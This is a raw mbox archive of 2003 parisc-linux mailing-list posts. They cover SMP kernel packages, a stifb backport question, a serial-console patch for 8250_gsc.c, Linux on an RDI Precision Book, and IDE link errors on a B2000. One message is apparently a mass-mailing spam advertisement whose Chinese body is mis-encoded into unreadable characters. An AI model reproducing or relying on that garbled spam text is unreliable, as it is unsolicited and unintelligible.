	id 19XkVD-0000Vd-00; Wed, 02 Jul 2003 18:30:39 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 2 Jul 2003 18:31:43 +0200
In-Reply-To: <1057161835.3f03026b7fc95@clients.latnet.lv>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18797

Hi,

> I have installed Debian from netinst CD found at
> http://pateam.esiee.fr/cd-images/testing/palinux-2.4.20-pa35-20030513-netinst.iso
> 
> Q. Is it possible to get pre-compiled SMP kernel for this version 2.4.20.


At least 2.4.20-pa32 at:
<http://ftp.debian.org/debian/pool/main/k/kernel-patch-2.4.20-hppa/>

hth,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Wed, 2 Jul 2003 22:13:57 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200307022213.58129.deller@gmx.de>
References: <3ED70CF10000CBA7@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622555 27431 80.91.229.3 (22 Nov 2014 02:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 14:13:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 90BA5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 14:13:27 -0600 (MDT)
Original-Received: (qmail 2867 invoked by uid 65534); 2 Jul 2003 20:13:26 -0000
Original-Received: from pD9040245.dip.t-dialin.net (EHLO p100) (217.4.2.69)
  by mail.gmx.net (mp013) with SMTP; 02 Jul 2003 22:13:26 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <3ED70CF10000CBA7@ocpmta2.freegates.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18798

On Wednesday 02 July 2003 08:45, Joel Soete wrote:
> Hi Helge,
>
> > > I notice some improvement of your stifb in 2.5 (module support). Do you
> > > think feasible the backport to 2.4?
> >
> > OTOMH I think it doesn't make sense to backport them.
>
> Because 2.6 will be release soon?

No.
The console code in 2.5.x has a lot of changes which
make modularization possible. This is mostly not available in 2.4.x,
thus backporting makes not that much sense.

> > Anyway, I'll take a look at it soon again.
>
> Thanks but don't spend too much time on this (I would simply know if,
> according your opinion, it exists some major issue which avoid to do it).

Ok.

Helge


From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <mzyngier@freesurf.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 2.5] More serial console hack...
Date: Thu, 03 Jul 2003 10:03:20 +0200
Organization: Metropolis -- Nowhere
Lines: 34
Approved: news@gmane.org
Message-ID: <wrpd6gsjauv.fsf@hina.wild-wind.fr.eu.org>
Reply-To: mzyngier@freesurf.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622555 27437 80.91.229.3 (22 Nov 2014 02:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  3 02:05:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AFEB482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 Jul 2003 02:05:50 -0600 (MDT)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 19XynH-0003kS-00
	for <parisc-linux@parisc-linux.org>; Thu, 03 Jul 2003 09:46:15 +0200
Original-Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian))
	id 19Xz3o-00088W-00; Thu, 03 Jul 2003 10:03:20 +0200
X-Attribution: maz
Original-Lines: 33
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18799

Hi all,

Until then, I couldn't get a serial console to work on my C100 when
running 2.5 (2.4 is OK). So I finally had time to look at it...

I just put in the same hack 8250_pci has... Looks horrible, but at
least it allows me to get a working console.

I suppose the real problem is that console_initcall is being called
much too late in the boot process, which leads to all those
PA-specific hacks in 8250*. Is there any plan on how to solve that ?

Regards,

            M.

--- ../vanilla/linux-2.5.73/drivers/serial/8250_gsc.c	2003-07-02 11:10:27.000000000 +0200
+++ linux-current/drivers/serial/8250_gsc.c	2003-07-02 15:24:26.000000000 +0200
@@ -131,6 +131,11 @@
 {
 	register_parisc_driver(&lasi_driver);
 	register_parisc_driver(&serial_driver);
+
+#if defined(CONFIG_SERIAL_8250_CONSOLE)
+        serial8250_console_init();
+#endif
+
 	return 0;
 }
 

-- 
Places change, faces change. Life is so very strange.


From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "F. David Sinn" <dsinn@dsinn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Where to get precompiled SMP kernel for 2.4.20?
Date: Thu, 3 Jul 2003 10:10:05 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <000001c34185$f46f5a60$1f826b83@junior>
References: <3ED70CF10000D300@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622555 27439 80.91.229.3 (22 Nov 2014 02:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:55 +0000 (UTC)
To: "'Joel Soete'" <jsoe0708@tiscali.be>, "'Dub'" <dub@latnet.lv>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  3 11:08:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsinn.com (dsinn.dsinn.com [204.182.90.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F1BC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jul 2003 11:08:18 -0600 (MDT)
Original-Received: from junior (localhost.localdomain [127.0.0.1])
	by dsinn.com (8.12.9/8.11.2) with SMTP id h63H882J010225;
	Thu, 3 Jul 2003 10:08:09 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <3ED70CF10000D300@ocpmta2.freegates.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18800

FYI - Works great for SMP on a K260 I have, though it doesn't look to have
the proper console patch included (otherwise known as:  Make sure your
system is setup right before you install the new kernel).  Everything else
looks to work as before.

David

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Joel
Soete
Sent: Wednesday, July 02, 2003 9:32 AM
To: Dub; parisc-linux@lists.parisc-linux.org
Subject: RE: [parisc-linux] Where to get precompiled SMP kernel for
2.4.20?


Hi,

> I have installed Debian from netinst CD found at
>
http://pateam.esiee.fr/cd-images/testing/palinux-2.4.20-pa35-20030513-netins
t.iso
>
> Q. Is it possible to get pre-compiled SMP kernel for this version 2.4.20.


At least 2.4.20-pa32 at:
<http://ftp.debian.org/debian/pool/main/k/kernel-patch-2.4.20-hppa/>

hth,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin <inkubus@interalpha.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RDI Precision Book 160
Date: 04 Jul 2003 03:40:03 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1057286403.1841.153.camel@raphael>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622555 27441 80.91.229.3 (22 Nov 2014 02:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  3 20:43:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost1.mistral.co.uk (mailhost1.mistral.co.uk [217.154.131.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5503F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jul 2003 20:43:25 -0600 (MDT)
Original-Received: from localhost.localdomain (dsl-217-155-82-142.zen.co.uk [217.155.82.142])
	by mailhost1.mistral.co.uk (Postfix) with ESMTP id 59AA7789BB
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 03:43:24 +0100 (BST)
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18801

Hi,
   I've recently acquired an RDI Precision Book 160 which is currently
running HP-UX 10.2.  From what I can find in the relevant documentation
it is allegidly completely compatible with the HP B series workstations
and thus should run Linux.  Does anyone have any experience with
installing / running Linux on these?  It is possible?  What devices are
supported?  Is Linux the best choice for this machine?

Cheers,
 - Martin

-- 
Martin
inkubus@interalpha.co.uk
"Seasons change, things come to pass"



From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RDI Precision Book 160
Date: Fri, 4 Jul 2003 10:29:06 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3F03A473000009CA@ocpmta4.freegates.net>
References: <1057286403.1841.153.camel@raphael>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622556 27446 80.91.229.3 (22 Nov 2014 02:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:56 +0000 (UTC)
To: "Martin" <inkubus@interalpha.co.uk>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 02:29:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1015482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 02:29:08 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19YLuO-0000ly-00; Fri, 04 Jul 2003 10:27:08 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 4 Jul 2003 10:29:06 +0200
In-Reply-To: <1057286403.1841.153.camel@raphael>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18802

Hi Martin,

>    I've recently acquired an RDI Precision Book 160 which is currently
> running HP-UX 10.2.  From what I can find in the relevant documentation
> it is allegidly completely compatible with the HP B series workstations
> and thus should run Linux.  Does anyone have any experience with
> installing / running Linux on these?  It is possible?  What devices are
> supported?  Is Linux the best choice for this machine?

Yes it works have a look on the thread:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/019613.html>

hth,
    Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?zeK+rcOz?= <chineseb2b@chineseb2b.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?MTkwzfLW0Ln6uLvUo7zSzaXTyrz+tdjWtw==?=
Date: Fri, 4 Jul 2003 17:33:19 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20030704093301.D49B2482A@dsl2.external.hp.com>
Reply-To: chineseb2b@chineseb2b.org
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622556 27448 80.91.229.3 (22 Nov 2014 02:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 03:33:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from czf-l2qmjgoj7bp (unknown [218.18.50.118])
	by dsl2.external.hp.com (Postfix) with ESMTP id D49B2482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 Jul 2003 03:33:01 -0600 (MDT)
X-Priority: 3
X-Mailer: EhooSend 2002b
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18803

Ӫܣȫҵȫַ 

   190йԣͥʼַȫҴ¥̵ҵ̳Ѽҵʼַмߵ
ҵֵĲƷΪһӴĸȺʶҵһԻ͡¥ҵ
http://www.chineseb2b.org/bj.htm

һȫƷ淢ٰĲƷϢ̱ȫóվ
 
    ʮѽĲƷԶ1000õóվϣùĿ̶Ķ
ĲƷ棬ôĿֱӽӴҵͲƷڶ౦̻
ص㣺
1¼վΪóƽ̨ǿЧã
2ұ׼ҵ࣬רҵ
3ӢļݣԶתԶɣ
4Чʾã 

ڽȫעվվһҹ

     õύ¼ߣԽվڶСʱڵ¼FFAС
漰վĿ¼ϸԱ֤¼Че֧շˡѺYAHOOȵĸ¼

     оռ˴վƹصԴʵʱ£ʹվƹ㹤硣

     ͨվȫʵ 


ֵ2ҵȫõʼȺ͸

   ȺdesktopǵõsmtpȺ500ǿ˾ʹãͻԼµ
Ʒ

   ֻҪʼַдʼݣɿٷͣһСʱɷ10׼ȷʴﵽ100%


   ͳɹ

   żҽ紺ǵһҲ֪磬һֱΪԴաżҽʱĵ
η񣬱˾õεˮƽܸѽ˵ӪҵȲⲻáΪлܵķ
 ṩ˵ʱֻ60ҵʼַǷҵҵûǰͺ
ϵˡ


йҵӪ

http://www.chineseb2b.org


From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel compilation for B2000
Date: Fri, 4 Jul 2003 12:01:44 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <HOEDKHACIIOGKPMMFMCGIELFCOAA.Mark.Mestdagh@Icon-Europe.com>
References: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622556 27449 80.91.229.3 (22 Nov 2014 02:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:56 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 03:59:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from astra.telenet-ops.be (astra.telenet-ops.be [195.130.132.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F8F2482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 03:59:29 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by astra.telenet-ops.be (Postfix) with SMTP
	id 5F7A037FCB; Fri,  4 Jul 2003 11:59:28 +0200 (MEST)
Original-Received: from iconbemewin01 (D576CE1B.kabel.telenet.be [213.118.206.27])
	by astra.telenet-ops.be (Postfix) with SMTP
	id BE1A837ED0; Fri,  4 Jul 2003 11:59:27 +0200 (MEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18804

Hi

Seems I have the same problem on a B2000 with the latest cvs'ed version
(2.4.21-pa1)

What am I doing wrong :s??

Regs
Mark


drivers/ide/idedriver.o: In function `init_irq':
drivers/ide/idedriver.o(.text.init_irq+0x44): undefined reference to
`__save_and_cli'
drivers/ide/idedriver.o: In function `ide_wait_stat':
drivers/ide/idedriver.o(.text.ide_wait_stat+0xe0): undefined reference to
`local_irq_set'
drivers/ide/idedriver.o: In function `ide_config_drive_speed':
drivers/ide/idedriver.o(.text.ide_config_drive_speed+0x1c0): undefined
reference to `local_irq_set'
drivers/ide/idedriver.o: In function `taskfile_dump_status':
drivers/ide/idedriver.o(.text.taskfile_dump_status+0x40): undefined
reference to `local_irq_set'
drivers/ide/idedriver.o: In function `ide_dump_status':
drivers/ide/idedriver.o(.text.ide_dump_status+0x40): undefined reference to
`local_irq_set'
drivers/ide/idedriver.o: In function `ide_spin_wait_hwgroup':
drivers/ide/idedriver.o(.text.ide_spin_wait_hwgroup+0x4c): undefined
reference to `local_irq_set'
drivers/ide/idedriver.o(.text.ide_cdrom_dump_status+0x38): more undefined
references to `local_irq_set' follow
make: *** [vmlinux] Error 1

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Matthew
Wilcox
Sent: dinsdag 1 juli 2003 15:22
To: Mark Mestdagh
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Kernel compilation for J5600


On Tue, Jul 01, 2003 at 10:10:24AM +0200, Mark Mestdagh wrote:
> Grant & others
>
> thanks already for the support. One little problem though is setting up
the
> CDROM. I followed the settings like the c3000 kernel but still I get a
> problem while compiling:
>
> drivers/ide/idedriver.o(.text.probe_hwif+0xfc): undefined reference to
> `local_irq_set'

This is 2.4.21-pa1?

--
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RDI Precision Book 160
Date: Fri, 4 Jul 2003 12:08:27 +0100 (IST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307041203090.1144-100000@sal.ucc.ie>
References: <3F03A473000009CA@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622557 27452 80.91.229.3 (22 Nov 2014 02:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:57 +0000 (UTC)
Cc: Martin <inkubus@interalpha.co.uk>,
	<parisc-linux@lists.parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 05:08:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 870CC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 05:08:34 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h64B8S730248;
	Fri, 4 Jul 2003 12:08:28 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F03A473000009CA@ocpmta4.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
